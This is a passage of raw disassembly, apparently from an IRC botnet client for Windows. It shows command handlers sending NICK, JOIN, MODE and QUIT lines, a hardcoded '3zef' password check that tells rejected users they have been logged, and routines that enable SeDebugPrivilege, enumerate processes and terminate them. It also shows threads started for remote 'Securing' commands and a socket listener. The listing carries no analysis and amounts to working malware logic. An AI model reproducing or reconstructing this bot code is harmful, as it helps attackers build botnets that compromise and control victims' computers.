; sub_40EC43+141Dj
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40BE2D
loc_41464E: ; CODE XREF: sub_40EC43+3A9j
; sub_40EC43+5763j ...
add esp, 10h
jmp loc_40F098
; ---------------------------------------------------------------------------
loc_414656: ; CODE XREF: sub_40EC43+13DEj
; sub_40EC43+13F3j
cmp [ebp+var_C], ebx
mov [ebp+var_A50], bl
jz short loc_414695
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_414695
push esi
push [ebp+var_C]
call sub_417580
pop ecx
cmp eax, ebx
pop ecx
jz short loc_414695
push eax
push offset aS_3 ; "%s"
lea eax, [ebp+var_A50]
push 80h
push eax
call sub_41752A
add esp, 10h
loc_414695: ; CODE XREF: sub_40EC43+5A1Cj
; sub_40EC43+5A27j ...
push [ebp+var_8C]
lea eax, [ebp+var_AD0]
push 80h
push eax
call sub_41752A
mov eax, [ebp+arg_4]
push offset dword_434A38
mov [ebp+var_AD4], eax
mov eax, [ebp+var_4]
mov [ebp+var_9CC], eax
mov eax, [ebp+var_8]
mov [ebp+var_9C8], eax
lea eax, [ebp+var_2EC]
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 1Dh
push eax
call sub_416A7A
add esp, 20h
mov [ebp+var_9D0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_AD4]
push ebx
push eax
push offset sub_40BEA0
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_9D0]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_414738
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset dword_4349F0
jmp loc_414E59
; ---------------------------------------------------------------------------
loc_414730: ; CODE XREF: sub_40EC43+5AFBj
push 32h
call dword_423064 ; Sleep
loc_414738: ; CODE XREF: sub_40EC43+5ADAj
cmp [ebp+var_9C4], ebx
jz short loc_414730
jmp loc_40F098
; ---------------------------------------------------------------------------
loc_414745: ; CODE XREF: sub_40EC43+13B4j
; sub_40EC43+13C9j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40BD15
push offset dword_4349C8
call sub_40BD8D
loc_414760: ; CODE XREF: sub_40EC43+5667j
add esp, 10h
jmp loc_414CDE
; ---------------------------------------------------------------------------
loc_414768: ; CODE XREF: sub_40EC43+138Aj
; sub_40EC43+139Fj
push [ebp+var_8C]
lea eax, [ebp+var_418]
push 80h
push eax
call sub_41752A
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_41C], eax
mov eax, [ebp+var_4]
mov [ebp+var_390], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_38C], eax
jz short loc_4147C2
push offset dword_4349C4
push esi
call sub_4173D0
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_394], eax
jmp short loc_4147C8
; ---------------------------------------------------------------------------
loc_4147C2: ; CODE XREF: sub_40EC43+5B63j
mov [ebp+var_394], ebx
loc_4147C8: ; CODE XREF: sub_40EC43+5B7Dj
lea eax, [ebp+var_2EC]
push offset dword_434998
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 20h
push eax
call sub_416A7A
add esp, 14h
mov [ebp+var_398], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_41C]
push ebx
push eax
push offset sub_416AE5
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_398]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_414839
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset dword_434950
jmp loc_4135F3
; ---------------------------------------------------------------------------
loc_414831: ; CODE XREF: sub_40EC43+5BFCj
push 32h
call dword_423064 ; Sleep
loc_414839: ; CODE XREF: sub_40EC43+5BDBj
cmp [ebp+var_388], ebx
jz short loc_414831
jmp loc_4115DF
; ---------------------------------------------------------------------------
loc_414846: ; CODE XREF: sub_40EC43+130Ej
; sub_40EC43+1323j
push offset aBotid ; "botid"
lea eax, [ebp+var_2EC]
push offset dword_434924
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
add esp, 20h
jmp loc_4115DF
; ---------------------------------------------------------------------------
loc_41487D: ; CODE XREF: sub_40EC43+12E4j
; sub_40EC43+12F9j
push dword_4890F8
call sub_40B54D
push eax
lea eax, [ebp+var_2EC]
push offset dword_4348E8
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
add esp, 24h
jmp loc_4115DF
; ---------------------------------------------------------------------------
loc_4148BB: ; CODE XREF: sub_40EC43+12BAj
; sub_40EC43+12CFj
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_4148ED
cmp [ebp+var_C], ebx
jz short loc_4148FC
push esi
push [ebp+var_C]
call sub_417580
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4148FC
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_40D430
add esp, 0Ch
jmp short loc_4148FC
; ---------------------------------------------------------------------------
loc_4148ED: ; CODE XREF: sub_40EC43+5C81j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_40D430
pop ecx
pop ecx
loc_4148FC: ; CODE XREF: sub_40EC43+5C86j
; sub_40EC43+5C95j ...
push 0FFFFFFFEh
pop eax
jmp loc_40F09B
; ---------------------------------------------------------------------------
loc_414904: ; CODE XREF: sub_40EC43+1290j
; sub_40EC43+12A5j
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_40D430
push offset dword_434898
call sub_40BD8D
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_40F09B
; ---------------------------------------------------------------------------
loc_414926: ; CODE XREF: sub_40EC43+1266j
; sub_40EC43+127Bj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_40D430
push offset dword_434858
call sub_40BD8D
add esp, 0Ch
xor eax, eax
jmp loc_40F09B
; ---------------------------------------------------------------------------
loc_414947: ; CODE XREF: sub_40EC43+123Cj
; sub_40EC43+1251j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_406F62
loc_414958: ; CODE XREF: sub_40EC43+4140j
add esp, 0Ch
jmp loc_414CDE
; ---------------------------------------------------------------------------
loc_414960: ; CODE XREF: sub_40EC43+1197j
; sub_40EC43+11ACj
push [ebp+esi+var_90]
push 1Fh
push offset dword_434848
push offset dword_43483C
jmp short loc_414988
; ---------------------------------------------------------------------------
loc_414975: ; CODE XREF: sub_40EC43+116Dj
; sub_40EC43+1182j
push [ebp+esi+var_90]
push 1Ch
push offset dword_434830
push offset dword_434820
loc_414988: ; CODE XREF: sub_40EC43+FE8j
; sub_40EC43+1011j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_416D02
add esp, 20h
jmp loc_40F098
; ---------------------------------------------------------------------------
loc_4149A4: ; CODE XREF: sub_40EC43+FA9j
; sub_40EC43+FBEj
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_4149C3
push edi
call sub_41751F
test eax, eax
pop ecx
jz short loc_4149C3
push edi
call sub_41751F
pop ecx
jmp short loc_4149C8
; ---------------------------------------------------------------------------
loc_4149C3: ; CODE XREF: sub_40EC43+5D6Aj
; sub_40EC43+5D75j
mov eax, dword_42E900
loc_4149C8: ; CODE XREF: sub_40EC43+5D7Ej
mov esi, [ebp+esi+var_8C]
mov [ebp+var_3A0], eax
cmp esi, ebx
jz short loc_4149ED
push esi
loc_4149DA: ; CODE XREF: sub_40EC43+5DB9j
lea eax, [ebp+var_3B0]
push 10h
push eax
call sub_41752A
add esp, 0Ch
jmp short loc_414A04
; ---------------------------------------------------------------------------
loc_4149ED: ; CODE XREF: sub_40EC43+5D94j
cmp [ebp+var_95F], bl
jz short loc_4149FE
lea eax, [ebp+var_D4]
push eax
jmp short loc_4149DA
; ---------------------------------------------------------------------------
loc_4149FE: ; CODE XREF: sub_40EC43+5DB0j
mov [ebp+var_3B0], bl
loc_414A04: ; CODE XREF: sub_40EC43+5DA8j
mov eax, [ebp+var_4]
push [ebp+var_8C]
mov esi, [ebp+arg_4]
mov [ebp+var_394], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_390], eax
lea eax, [ebp+var_430]
push eax
mov [ebp+var_434], esi
call sub_41752A
add esp, 0Ch
push [ebp+var_3A0]
push esi
call sub_40AD08
pop ecx
push eax
lea eax, [ebp+var_2EC]
push offset unk_42A8CC
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 11h
push eax
call sub_416A7A
add esp, 1Ch
mov [ebp+var_39C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_434]
push ebx
push eax
push offset sub_407E2F
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_39C]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_414AB8
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_4347D8
jmp loc_414E59
; ---------------------------------------------------------------------------
loc_414AB0: ; CODE XREF: sub_40EC43+5E7Bj
push 32h
call dword_423064 ; Sleep
loc_414AB8: ; CODE XREF: sub_40EC43+5E5Aj
cmp [ebp+var_38C], ebx
jz short loc_414AB0
jmp loc_40F098
; ---------------------------------------------------------------------------
loc_414AC5: ; CODE XREF: sub_40EC43+F55j
; sub_40EC43+F6Aj ...
push edi
push offset aSecure ; "secure"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_414AED
push edi
push offset aSec ; "sec"
call sub_4173D0
pop ecx
mov [ebp+var_2FC], ebx
test eax, eax
pop ecx
jnz short loc_414AF7
loc_414AED: ; CODE XREF: sub_40EC43+5E91j
mov [ebp+var_2FC], 1
loc_414AF7: ; CODE XREF: sub_40EC43+5EA8j
push [ebp+var_8C]
lea eax, [ebp+var_380]
push 80h
push eax
call sub_41752A
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_2FC], ebx
mov [ebp+var_384], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F8], eax
mov eax, [ebp+var_8]
mov [ebp+var_2F4], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_414B3E
mov eax, offset aUnsecuring ; "Unsecuring"
loc_414B3E: ; CODE XREF: sub_40EC43+5EF4j
push eax
push offset dword_43478C
lea eax, [ebp+var_2EC]
push 200h
push eax
call sub_41752A
push ebx
lea eax, [ebp+var_2EC]
push 1Ah
push eax
call sub_416A7A
add esp, 1Ch
mov [ebp+var_300], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_384]
push ebx
push eax
push offset sub_415C62
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_300]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_414BB5
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_434740
jmp loc_412988
; ---------------------------------------------------------------------------
loc_414BAD: ; CODE XREF: sub_40EC43+5F78j
push 32h
call dword_423064 ; Sleep
loc_414BB5: ; CODE XREF: sub_40EC43+5F57j
cmp [ebp+var_2F0], ebx
jz short loc_414BAD
jmp loc_40F594
; ---------------------------------------------------------------------------
loc_414BC2: ; CODE XREF: sub_40EC43+F2Bj
; sub_40EC43+F40j
push offset aTarabTool ; "Tarab tool"
push offset dword_434720
jmp loc_4115AF
; ---------------------------------------------------------------------------
loc_414BD1: ; CODE XREF: sub_40EC43+F01j
; sub_40EC43+F16j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_414C2D
push esi
call sub_41751F
cmp eax, ebx
pop ecx
jl short loc_414C22
cmp eax, 2
jge short loc_414C22
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
lea esi, [ecx+edx]
cmp [esi], bl
jz short loc_414C17
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2EC]
push offset dword_4346F0
push eax
call sub_416FB6
mov [esi], bl
jmp loc_410B74
; ---------------------------------------------------------------------------
loc_414C17: ; CODE XREF: sub_40EC43+5FB6j
push eax
push offset dword_4346B4
jmp loc_410B68
; ---------------------------------------------------------------------------
loc_414C22: ; CODE XREF: sub_40EC43+5FA2j
; sub_40EC43+5FA7j
push eax
push offset dword_434678
jmp loc_410B68
; ---------------------------------------------------------------------------
loc_414C2D: ; CODE XREF: sub_40EC43+5F97j
mov edi, [ebp+arg_18]
xor esi, esi
loc_414C32: ; CODE XREF: sub_40EC43+600Bj
push [ebp+var_94]
push edi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_414C55
inc esi
add edi, 80h
cmp esi, 2
jl short loc_414C32
jmp loc_41198E
; ---------------------------------------------------------------------------
loc_414C55: ; CODE XREF: sub_40EC43+5FFFj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_D4]
push eax
push offset dword_4346F0
jmp loc_410B68
; ---------------------------------------------------------------------------
loc_414C6F: ; CODE XREF: sub_40EC43+ED7j
; sub_40EC43+EECj
push [ebp+var_90]
push offset dword_437B40
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_414CDE
call sub_416C3D
push ebx
call dword_42314C ; ExitProcess
loc_414C91: ; CODE XREF: sub_40EC43+EADj
; sub_40EC43+EC2j
push [ebp+esi+var_90]
xor eax, eax
cmp [ebp+var_950], bl
setnz al
push eax
lea eax, [ebp+var_450]
push dword_42E924
push eax
call sub_415A3A
lea eax, [ebp+var_450]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40D430
lea eax, [ebp+var_450]
push eax
push offset dword_434644
call sub_40BE01
loc_414CDB: ; CODE XREF: sub_40EC43+2BAEj
add esp, 24h
loc_414CDE: ; CODE XREF: sub_40EC43+61Dj
; sub_40EC43+629j ...
mov eax, [ebp+arg_24]
jmp loc_40F09B
; ---------------------------------------------------------------------------
loc_414CE6: ; CODE XREF: sub_40EC43+ABCj
; sub_40EC43+ACFj
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_0], esi
jz loc_40F098
cmp [ebp+var_AC], ebx
jnz loc_40F098
push offset asc_437C4C ; "!"
push [ebp+var_94]
call sub_41886E
mov esi, eax
push offset dword_43BCF8
push ebx
inc esi
call sub_41886E
push offset asc_434640 ; "~"
push eax
call sub_41886E
push [ebp+arg_0]
mov edi, eax
push offset a3zef ; "3zef"
call sub_4173D0
add esp, 20h
test eax, eax
jz short loc_414D8E
lea eax, [ebp+var_D4]
push edi
push eax
lea eax, [ebp+var_D4]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push [ebp+arg_4]
call sub_40D430
lea eax, [ebp+var_D4]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push [ebp+arg_4]
call sub_40D430
push edi
push esi
push offset dword_4345B0
loc_414D7A: ; CODE XREF: sub_40EC43+61A4j
lea eax, [ebp+var_2EC]
push eax
call sub_416FB6
add esp, 30h
jmp loc_40F594
; ---------------------------------------------------------------------------
loc_414D8E: ; CODE XREF: sub_40EC43+60FEj
mov [ebp+arg_24], ebx
loc_414D91: ; CODE XREF: sub_40EC43+616Bj
mov eax, [ebp+arg_24]
push edi
push off_42EA04[eax]
call sub_416DCD
pop ecx
test eax, eax
pop ecx
jnz short loc_414DE9
add [ebp+arg_24], 4
cmp [ebp+arg_24], 4
jb short loc_414D91
lea eax, [ebp+var_D4]
push edi
push eax
lea eax, [ebp+var_D4]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push [ebp+arg_4]
call sub_40D430
lea eax, [ebp+var_D4]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push [ebp+arg_4]
call sub_40D430
push edi
push esi
push offset dword_434568
jmp short loc_414D7A
; ---------------------------------------------------------------------------
loc_414DE9: ; CODE XREF: sub_40EC43+6161j
mov edi, [ebp+arg_18]
xor esi, esi
loc_414DEE: ; CODE XREF: sub_40EC43+61CCj
cmp [edi], bl
jnz short loc_414E05
push [ebp+arg_0]
push offset a3zef ; "3zef"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_414E16
loc_414E05: ; CODE XREF: sub_40EC43+61ADj
inc esi
add edi, 80h
cmp esi, 2
jl short loc_414DEE
jmp loc_40F098
; ---------------------------------------------------------------------------
loc_414E16: ; CODE XREF: sub_40EC43+61C0j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_D50]
push 7Fh
push eax
push esi
call sub_418910
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_414E4D
push ebx
push [ebp+var_4]
push offset dword_434538
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
add esp, 14h
loc_414E4D: ; CODE XREF: sub_40EC43+61EEj
lea eax, [ebp+var_D4]
push eax
push offset dword_434508
loc_414E59: ; CODE XREF: sub_40EC43+575j
; sub_40EC43+5AE8j ...
call sub_40BE01
pop ecx
loc_414E5F: ; CODE XREF: sub_40EC43+2A54j
pop ecx
jmp loc_40F098
; ---------------------------------------------------------------------------
loc_414E65: ; CODE XREF: sub_40EC43+200j
; sub_40EC43+215j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_40D430
push offset aXi ; "+xi"
push [ebp+arg_10]
push offset aModeSS ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_40D430
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40D430
add esp, 2Ch
mov dword_48926C, edi
jmp loc_40EED2
sub_40EC43 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414EAB proc near ; CODE XREF: sub_408E7C+45p
; sub_408E7C+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call dword_42313C ; GetCurrentProcess
push eax
call dword_43EB08 ; OpenProcessToken
test eax, eax
jnz short loc_414ECA
leave
retn
; ---------------------------------------------------------------------------
loc_414ECA: ; CODE XREF: sub_414EAB+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_43EAE0 ; LookupPrivilegeValueA
test eax, eax
jz short loc_414F08
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_414EF1
or [ebp+var_8], 2
jmp short loc_414EF5
; ---------------------------------------------------------------------------
loc_414EF1: ; CODE XREF: sub_414EAB+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_414EF5: ; CODE XREF: sub_414EAB+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_43EB90 ; AdjustTokenPrivileges
mov esi, eax
loc_414F08: ; CODE XREF: sub_414EAB+32j
push [ebp+var_4]
call dword_423078 ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_414EAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414F16 proc near ; CODE XREF: sub_40EC43+4B70p
; sub_4150C3+74p
var_550 = byte ptr -550h
var_350 = dword ptr -350h
var_34C = byte ptr -34Ch
var_230 = byte ptr -230h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = dword ptr -124h
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 550h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_43EB44, ebx
lea edi, [ebp+var_128]
mov [ebp+var_12C], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_34C]
mov [ebp+var_350], ebx
rep stosd
jz short loc_414FBB
cmp dword_43EB28, ebx
jz short loc_414FBB
cmp dword_43EA44, ebx
jz short loc_414FBB
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_414EAB
pop ecx
pop ecx
push ebx
push 0Fh
call dword_43EB44 ; CreateToolhelp32Snapshot
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz short loc_414FAE
lea eax, [ebp+var_12C]
mov [ebp+var_12C], 128h
push eax
push [ebp+var_4]
call dword_43EB28 ; Process32First
mov esi, dword_423078
test eax, eax
jnz loc_415071
loc_414FA9: ; CODE XREF: sub_414F16+173j
push [ebp+var_4]
call esi ; CloseHandle
loc_414FAE: ; CODE XREF: sub_414F16+69j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_414EAB
pop ecx
pop ecx
loc_414FBB: ; CODE XREF: sub_414F16+3Aj
; sub_414F16+42j ...
xor eax, eax
loc_414FBD: ; CODE XREF: sub_414F16+1A8j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_414FC2: ; CODE XREF: sub_414F16+16Dj
cmp [ebp+arg_10], ebx
jnz loc_415071
cmp [ebp+arg_C], ebx
jnz loc_41505C
cmp [ebp+arg_4], ebx
jz loc_415071
push [ebp+var_124]
push 8
call dword_43EB44 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], ebx
mov edi, eax
mov [ebp+var_350], 224h
jz short loc_41501C
lea eax, [ebp+var_350]
push eax
push edi
call dword_43E9F0 ; Module32First
push [ebp+var_124]
test eax, eax
jz short loc_415022
lea eax, [ebp+var_230]
jmp short loc_415028
; ---------------------------------------------------------------------------
loc_41501C: ; CODE XREF: sub_414F16+E4j
push [ebp+var_124]
loc_415022: ; CODE XREF: sub_414F16+FCj
lea eax, [ebp+var_108]
loc_415028: ; CODE XREF: sub_414F16+104j
push eax
lea eax, [ebp+var_550]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_416FB6
add esp, 10h
lea eax, [ebp+var_550]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 14h
push edi
call esi ; CloseHandle
jmp short loc_415071
; ---------------------------------------------------------------------------
loc_41505C: ; CODE XREF: sub_414F16+B8j
push [ebp+arg_C]
lea eax, [ebp+var_108]
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_41508E
loc_415071: ; CODE XREF: sub_414F16+8Dj
; sub_414F16+AFj ...
lea eax, [ebp+var_12C]
push eax
push [ebp+var_4]
call dword_43EA44 ; Process32Next
test eax, eax
jnz loc_414FC2
jmp loc_414FA9
; ---------------------------------------------------------------------------
loc_41508E: ; CODE XREF: sub_414F16+159j
push [ebp+var_124]
push ebx
push 1F0FFFh
call dword_4230FC ; OpenProcess
push [ebp+var_4]
mov edi, eax
call esi ; CloseHandle
push ebx
push edi
call dword_423170 ; TerminateProcess
test eax, eax
jnz short loc_4150BB
push edi
call esi ; CloseHandle
jmp loc_414FBB
; ---------------------------------------------------------------------------
loc_4150BB: ; CODE XREF: sub_414F16+19Bj
xor eax, eax
inc eax
jmp loc_414FBD
sub_414F16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4150C3 proc near ; DATA XREF: sub_40EC43+5900o
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_437CD0
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_416FB6
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_415122
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_40D476
add esp, 14h
loc_415122: ; CODE XREF: sub_4150C3+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_414F16
add esp, 18h
test eax, eax
lea eax, [ebp+var_298]
jnz short loc_415150
push offset unk_437C98
jmp short loc_415155
; ---------------------------------------------------------------------------
loc_415150: ; CODE XREF: sub_4150C3+84j
push offset unk_437C60
loc_415155: ; CODE XREF: sub_4150C3+8Bj
push eax
call sub_416FB6
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_415182
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_40D476
add esp, 14h
loc_415182: ; CODE XREF: sub_4150C3+9Dj
lea eax, [ebp+var_298]
push eax
call sub_40BD8D
push [ebp+var_14]
call sub_416D90
pop ecx
pop ecx
push esi
call dword_423054 ; ExitThread
pop edi
pop esi
sub_4150C3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4151A1 proc near ; CODE XREF: sub_40EC43+4B12p
; sub_416BB5+4Dp
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
xor edi, edi
inc edi
push 0
push 1F0FFFh
call dword_4230FC ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_4151D3
push 0
push esi
call dword_423170 ; TerminateProcess
test eax, eax
jnz short loc_4151D3
push esi
xor edi, edi
call dword_423078 ; CloseHandle
loc_4151D3: ; CODE XREF: sub_4151A1+1Aj
; sub_4151A1+27j
mov eax, edi
pop edi
pop esi
retn
sub_4151A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151D8 proc near ; CODE XREF: sub_4030A7+Ap
; .data:00403676p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call sub_417012
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_423698
call sub_417AC4
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_4151D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415208 proc near ; DATA XREF: sub_41547D+1BEo
var_3D4 = byte ptr -3D4h
var_350 = byte ptr -350h
var_208 = dword ptr -208h
var_1F4 = dword ptr -1F4h
var_1F0 = dword ptr -1F0h
var_F0 = byte ptr -0F0h
var_B0 = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = byte ptr -3Ch
var_2C = byte ptr -2Ch
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 78h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_3D4]
inc ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp+var_208]
mov [ebp+arg_0], eax
imul eax, 234h
lea esi, dword_444574[eax]
xor edi, edi
mov [ebp+var_C], 1Eh
mov [ebp+var_8], edi
mov eax, [esi]
mov [ebp+var_1F4], ebx
mov [ebp+var_1F0], eax
lea eax, [ebp+var_C]
push eax
push edi
lea eax, [ebp+var_1F4]
push edi
push eax
push edi
call dword_43EB0C ; select
test eax, eax
jnz short loc_41528C
push dword ptr [esi]
call dword_43EBBC ; closesocket
push [ebp+arg_0]
call sub_416D90
pop ecx
push edi
call dword_423054 ; ExitThread
loc_41528C: ; CODE XREF: sub_415208+6Aj
push edi
lea eax, [ebp+var_3C]
push ebx
push eax
push dword ptr [esi]
call dword_43EB3C ; recv
lea eax, [ebp+var_2C]
push 10h
push eax
push dword ptr [esi]
call sub_41540D
lea eax, [ebp+var_4C]
push 10h
push eax
push dword ptr [esi]
call sub_41540D
lea eax, [ebp+var_F0]
push 40h
push eax
push dword ptr [esi]
call sub_41540D
add esp, 24h
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_1C]
push eax
push dword ptr [esi]
call dword_43EA80 ; getpeername
test eax, eax
jz short loc_415305
call dword_43EAB8 ; WSAGetLastError
push eax
push offset dword_437DC4
call sub_40BE01
push [ebp+arg_0]
call sub_416D90
add esp, 0Ch
push edi
call dword_423054 ; ExitThread
loc_415305: ; CODE XREF: sub_415208+D8j
push 2
lea eax, [ebp+var_18]
push 4
push eax
call dword_43EADC ; gethostbyaddr
cmp eax, edi
jnz short loc_41532F
push [ebp+var_18]
call dword_43EBB0 ; inet_ntoa
push eax
lea eax, [ebp+var_B0]
push eax
call sub_416FB6
jmp short loc_41533D
; ---------------------------------------------------------------------------
loc_41532F: ; CODE XREF: sub_415208+10Dj
push dword ptr [eax]
lea eax, [ebp+var_B0]
push eax
call sub_4176C0
loc_41533D: ; CODE XREF: sub_415208+125j
pop ecx
pop ecx
push edi
push ebx
push offset byte_43BCE8
push dword ptr [esi]
call dword_43EB74 ; send
cmp dword_489278, edi
jnz short loc_41539F
push [ebp+var_18]
lea eax, [ebp+var_350]
push eax
